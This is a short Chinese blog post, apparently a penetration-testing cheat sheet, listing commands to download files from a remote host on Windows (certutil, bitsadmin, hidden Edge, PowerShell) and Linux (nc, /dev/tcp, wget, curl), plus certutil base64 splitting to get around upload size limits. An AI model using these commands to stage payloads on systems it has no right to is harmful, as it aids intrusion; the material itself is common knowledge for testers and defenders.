远程下载上传命令(绕过大小限制)

远程下载上传命令(绕过大小限制)

python起http服务

  • python3 -m http.server 5003

  • python2 -m SimpleHTTPServer 5003

上传时遇到限制上传大小时:

编码base64:certutil -encode yb.exe 1.txt

可以把1.txt拆成三个txt,分块上传后,再使用

copy c:\*txt c:\123.txt    //把c盘根目录下的所有txt合并为123.txt
certutil -decode 123.txt 123.exe

window远程下载文件命令

● certutil -urlcache -split -f https://xx.xx.xx.xx/test.zip
● bitsadmin /rawreturn /transfer getfile https://xx.xx.xx.xx/test.zip D:\1.txt

注意bitsadmin 需要指定绝对路径

● cmd /c start /min msedge.exe http://xx.xx.xx.xx/test.zip && timeout 5 && taskkill /f /t /im msedge.exe && C:/Users/%UserName%/Downloads/test.zip
● curl http://xx.xx.xx.xx/test.zip -o c:\test.zip
● powershell -w "Invoke-WebRequest -Uri http://xx.xx.xx.xx/test.zip -OutFile a.txt"
● powershell -Command "Invoke-WebRequest -Uri 'http://xx.xx.xx.xx/test.zip' -OutFile 'test.txt'"
● powershell -w "Start-BitsTransfer -Source $url -Destination $output"
● powershell -Command "Start-BitsTransfer -Source 'url' -Destination 'test.txt'"

linux远程下载命令

  • 服务端命令:nc -lvvp 11111 < name 接收端命令:nc [服务端IP] 11111 > name_received
  • cat /dev/tcp/xxx.xxx.xxx/11111 >name
  • base64 -d /dev/tcp/xxx.xxx.xxx/11111 > name
  • wget http://xx.xx.xx.xx/test.zip
  • curl http://xx.xx.xx.xx/test.zip -o c:\test.zip

本文作者:xiaoxin07

本文链接:https://www.cnblogs.com/xiaoxin07/p/18401587

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   小新07  阅读(27)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· DeepSeek “源神”启动!「GitHub 热点速览」
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 我与微信审核的“相爱相杀”看个人小程序副业
· C# 集成 DeepSeek 模型实现 AI 私有化(本地部署与 API 调用教程)
· spring官宣接入deepseek,真的太香了~
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起